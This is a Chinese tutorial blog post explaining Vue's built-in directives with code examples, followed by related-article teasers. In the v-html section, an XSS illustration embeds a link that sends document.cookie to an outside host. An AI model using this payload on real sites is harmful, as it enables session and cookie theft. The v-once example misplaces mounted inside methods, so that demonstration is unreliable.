【Vue】内置指令真的很常用!

内置指令

v-text

  • v-text用于将一个变量的值渲染为元素的文本内容

  • 注意v-text只能接受字符串类型的值,对于对象类型,会调用toString()方法

  • 与插值表达式区别就是它会替换标签中的值,只显示它绑定的(还是插值语法用的多~)

语法

<元素 v-text="变量名"></元素>

举例

<div id="app">
  <p v-text="message">我不会显示,这些内容会被替换</p>
</div>

<script>
var app = new Vue({
  el: '#app',
  data: {
    message: 'Hello Vue!'
  }
});
</script>

这里v-text将message变量值直接作为p元素的内容文本插入

最终显示Hello Vue!

image-20230825015900755

v-html

  • v-html 会解析 HTML 标签,而v-text不会解析
  • v-html 可以渲染 HTML,但有安全风险,容易导致 XSS 攻击,在可控环境下使用

image-20230825203219754

image-20230825203133348

可以利用各种手段获取我们的cookie,获取我们的信息,进行免登录等等

<div v-html="str"></div>
data:{
// 部分网站设置了httpOnly,httpOnly限制的用document.cookie读取不了
      str:'<a href=JS:location.href="http://www.baidu.com?"+document.cookie>快点我,10w+等我们来</a>',
    }

v-cloak

关键点

  • 通过 CSS 隐藏未编译的内容
  • 在编译结束后自动删除,恢复元素的显示

不知道我们有没有考虑过一个问题,

插值语法也叫做Mustache语法,下面要是说到Mustache语法,要知道它就是插值语法,也就是两个大括号{{}}

假设写一些代码

核心代码如下:

<h1>{{message}}</h1>

data: { message: '即兴小索奇'}

现在有一个需求,页面需要过一会再解析vue,此时VM不会解析页面显示data中数据,会显示如下内容,

image-20230825223221717

过一会才显示页面

image-20230825223310992

v-cloak用于隐藏未编译的 Mustache 语法,也就是说在 Vue 实例初始化渲染之前,会先隐藏带有 v-cloak 的元素(coak :n.斗篷、遮盖物、v.遮盖的意思)

v-cloak 的使用方式:

// 在样式里面定义
[v-cloak] {
  display: none; 
}

在带有未编译 Mustache 语法的元素上加上 v-cloak 属性:

<div v-cloak>
  {{ message }}
</div>
  • 在 Vue 初始化之前,只要含有v-cloak的,这个元素都会隐藏起来

  • 当 Vue 实例初始化完成,编译结束后,会自动删除 v-cloak 属性,display也就不会限制含有v-cloak的标签了,这样元素就会显示出来

它主要用于解决初始化页面时 Mustache 语法 {{ }} 闪烁的问题正常情况下用户会先看到未编译的 Mustache 标签,然后 Vue 编译完后会替换成实际内容,这个过程会让页面闪烁

再举一个简单例子,我们现在用的2G网,网速有一点点慢,自然解析就会慢下来,就会出现上面的闪烁情况

使用 v-cloak 可以避免这个问题,它会先隐藏未编译的内容,等 Vue 初始化结束后再显示出来,这样就可以避免闪烁啦

v-once

使用 v-once 的元素或组件在初始化后,会被视为静态内容,之后数据改变时不会引起它们重新渲染

主要的使用场景有:

  • 优化性能:如果元素包含大量静态内容,很少更新,可以使用 v-once 进行优化,避免不必要的重渲染开销

  • 避免意外数据变更:在不能更改的静态元素上使用 v-once,也会避免数据在其他地方被更改时,导致它们也跟着不必要的更新

<!-- 元素 -->  
<div v-once>静态内容</div>

注意:

  • v-once是灭有值的哈

  • v-for 指令优先级比 v-once 高,v-once 不会影响 v-for 的正常工作

  • 如果根元素上使用了 v-once,那么整个组件都会成为静态的

针对根元素使用v-once这里小索奇用简单的代码列举一下

<div id="app">

  <div v-once>
  
    <h1>{{title}}</h1>
  
  </div>

</div>

<script>

var app = new Vue({

  el: '#app',

  data: {
    title: 'Hello Java'
  },

  methods: {
  // 不懂mounted钩子函数的话,这里简单理解为不用调用自动执行的就行
    mounted() {
      setTimeout(() => {
        this.title = 'Hello Vue'
      }, 1000)
    }
  }

})

</script>

主要就是实现了

页面等了一百年之后它还是Hello Java,都没有变成Hello Vue!

image-20230825235758374

说明啥?v-once页面不渲染->没有执行this.title = 'Hello Vue' ->根节点的v-once奏效

当元素是静态的,确实不需要元素再次更新时可以用到这个v-once

v-pre

v-pre是一个Vue指令,它的作用是跳过元素的编译过程,直接输出原始内容,精髓就是这几个字

作用

  • 跳过元素和它的子元素的编译过程,效率会更高一点点
  • 显示原始 Mustache 标签
  • 避免模板被错误解析

示例

<div v-pre>
  今天气温是{{ temperature }} 
</div>

渲染结果:

今天气温是{{ temperature }}

image-20230826002258714

Mustache 语法被直接输出,没有被 Vue 编译

使用场景

  • 需要显示 Mustache 标签本身
  • 避免模板被错误解析成 Vue 语法

v-pre 它跳过元素的编译过程,直接输出原始内容,只有在特殊需要显示原始 Mustache 时才使用它

它的主要作用就是为了避免错误解析模板

举个栗子

加上v-pre

image-20230826002618210

删除v-pre

image-20230826002412436

就会解析Mustache语法了

大白话:我们写啥样子,它就显示啥样子

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/151667.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

普源DS1052E固件升级【附所有升级固件及工具】

折腾了两天&#xff0c;总算是弄好了。 升级的目的是啥&#xff1f;DS1052E的带宽是50M&#xff0c;示波器的时基最小可以调到5ns。固件升级后示波器的时基最小可以调到2ns&#xff0c;理论上说明此时示波器的带宽是100M。 网上的方法能找到很多&#xff0c;我总结一下大概的流…

jeesite 按部门过滤数据权限(保姆级图文教程)

文章目录 前言一、数据库表添加机构字段二、修改实体3.修改服务层总结前言 在项目开发过程中,数据需要按照部门、公司进行权限过滤,本篇文章记录下如何修改按部门进行权限过滤的详细图文教程。 一、数据库表添加机构字段 要进行权限过滤的表中添加机构字段 二、修改实体 添…

Java 算法篇-链表的经典算法:根据值删除节点、删除倒数第 n 个节点

&#x1f525;博客主页&#xff1a; 小扳_-CSDN博客 ❤感谢大家点赞&#x1f44d;收藏⭐评论✍ 文章目录 1.0 链表的创建 2.0 链表的经典算法 - 根据值来删除节点 2.1 根据值来删除节点 - 遍历链表来实现 2.2 根据值来删除节点 - 递归实现 3.0 链表的经典算法 - 删除倒数第 n…

Godot4.1 GDExtension 配置VisualStudio方法梳理以及快捷配置工具

写在最前 本篇教程基于之前教程&#xff0c;并且默认为Windows10&#xff0c;64位&#xff0c;Godot版本4.1.3如果遇到任何问题&#xff0c;欢迎及时提出&#xff0c;如果配置成功了请点个赞&#xff0c;球球啦。 之前教程 https://blog.csdn.net/qq_31805591/article/detai…

Java学习day12:static关键字,字符串声明,字符串常量池

声明&#xff1a;该专栏本人重新过一遍java知识点时候的笔记汇总&#xff0c;主要是每天的知识点题解&#xff0c;算是让自己巩固复习&#xff0c;也希望能给初学的朋友们一点帮助&#xff0c;大佬们不喜勿喷(抱拳了老铁&#xff01;) 往期回顾&#xff1a; Java学习day11&…

错误:CUDA error: device-side assert triggered CUDA kernel errors

对llama扩充中文词表后直接增量预训练&#xff0c;忘记设置--modules_to_save embed_tokens,lm_head,所以导致向量维度不一致&#xff0c;出现下面的错误。 1. 错误 2. 原因 出现这个错误的原因可能是因为维度或标签不一致。可以仔细排查一下。

【k8s集群搭建(二):基于虚拟机的linux的k8s集群搭建_超详细_可视化界面Dashboard安装_记录全过程踩坑记录及解决方法】

在 master 执行 # 根据 在线配置文件 创建资源 kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.3.1/aio/deploy/recommended.yaml设置访问端口 # 修改配置文件 找到 type&#xff0c;将 ClusterIP 改成 NodePort kubectl edit svc kubernetes-…

虾皮之家数据分析插件:知虾数据分析工具提升销量的利器

在当今的电商市场中&#xff0c;虾皮Shopee成为了许多商家的首选平台。然而&#xff0c;随着竞争的加剧&#xff0c;店铺运营变得越来越具有挑战性。如何提升销量&#xff0c;优化标题和图片&#xff0c;合理设置SKU&#xff0c;并准确跟踪店铺活动数据和竞品数据&#xff0c;已…

为什么网安人才缺口那么大,就业率却上不去?

为什么网安相关行业人才缺口还有三百多万&#xff0c;但现在却还有很多程序员找不到工作&#xff0c;难道我们又被所谓大数据骗了吗&#xff1f; 其实啊&#xff0c;造成如此现象的有以下几点原因&#xff1a;首先&#xff0c;教学青黄不接&#xff0c;因为网安属于近几年新开…

SCons

什么是构建工具&#xff08;系统&#xff09; 构建工具&#xff08;software construction tool&#xff09;是一种软件&#xff0c;它可以**根据一定的规则或指令&#xff0c;将源代码编译成可执行的二进制程序。**这是构建工具最基本也最重要的功能。 实际上构建工具的功能…

03.智慧商城——路由配置

01. 路由配置 - 一级路由 但凡是单个页面&#xff0c;独立展示的&#xff0c;都是一级路由 路由设计&#xff1a; 登录页首页架子 首页 - 二级分类页 - 二级购物车 - 二级我的 - 二级 搜索页搜索列表页商品详情页结算支付页我的订单页 router/index.js 配置一级路由&#x…

基于springboot实现一起来约苗管理系统项目【项目源码】

基于springboot实现一起来约苗平台管理系统演示 Java技术 Java是由Sun公司推出的一门跨平台的面向对象的程序设计语言。因为Java 技术具有卓越的通用性、高效性、健壮的安全性和平台移植性的特点&#xff0c;而且Java是开源的&#xff0c;拥有全世界最大的开发者专业社群&…

Hack_Kid

Hack_Kid 靶机地址&#xff1a;https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova 一、主机发现 发现靶机IP为192.168.80.135 二、端口扫描 发现靶机开启了80、53、9999端口 三、信息收集 1.访问80端口 2.访问9999端口 根据靶场作者的提示&#xff0c;不…

未来服务器操作系统的趋势与展望

摘要&#xff1a; 随着云计算、大数据和人工智能不断的发展&#xff0c;服务器操作系统也需要随之进行新一轮的升级。本文通过分析当前服务器操作系统的现状&#xff0c;探讨了未来服务器操作系统的趋势和展望&#xff0c;并针对一些关键问题提出了解决方案。 一、引言 服务器…

老哥们平日是怎么排查线上问题的?

1、做好监控告警 如果线上出现了问题&#xff0c;我们更多的是希望由监控告警发现我们出了线上问题&#xff0c;而不是等到业务侧反馈。所以&#xff0c;我们需要对核心接口做好监控告警的功能。 2、定位报警层面 如果是业务代码层面的监控报警&#xff0c;那我们应该是可以…

PVE Win平台虚拟机下如何安装恢复自定义备份Win系统镜像ISO文件(已成功实现)

环境: Virtual Environment 7.3-3 Win s2019 UltraISO9.7 USM6.0 NTLite_v2.1.1.7917 问题描述: PVE Win平台虚拟机下如何安装恢复自定义备份Win系统镜像ISO文件 本次目标 主要是对虚拟机里面Win系统备份做成可安装ISO文件恢复至别的虚拟机或者实体机上 解决方案: …

海康Visionmaster-环境配置:MFC 二次开发环境配置方法

1 新建 MFC 工程&#xff0c;拷贝 DLL:VM\VisionMaster4.0.0\Development\V4.0.0 \ComControl\bin\x64 下的所有拷贝到项目工程输出目录下&#xff0c;如下图所示&#xff0c;项目的输出路径是 Dll 文件夹。 2 通过配置 C目录和链接器的方式配置 VM 环境 2.1 C目录下添加附加…

金蝶云星空单据体启用块粘贴

文章目录 金蝶云星空单据体启用块粘贴 金蝶云星空单据体启用块粘贴

c/c++语言算法技巧汇总大复习2

标题前面打*号的为多数考纲范围外的&#xff0c;可以选择性查看 &#x1f517;链接&#xff1a;严书代码大全 &#x1f517;链接&#xff1a;c/c语言算法技巧汇总大复习1 &#x1f517;链接&#xff1a;c/c语言算法技巧汇总大复习2 目录 Dp动态规划入门练习 青蛙跳台阶练习&…

大数据Hadoop之——部署hadoop+hive+Mysql环境(Linux)

目录 一、JDK的安装 1、安装jdk 2、配置Java环境变量 3、加载环境变量 4、进行校验 二、hadoop的集群搭建 1、hadoop的下载安装 2、配置文件设置 2.1. 配置 hadoop-env.sh 2.2. 配置 core-site.xml 2.3. 配置hdfs-site.xml 2.4. 配置 yarn-site.xml 2.5. 配置 ma…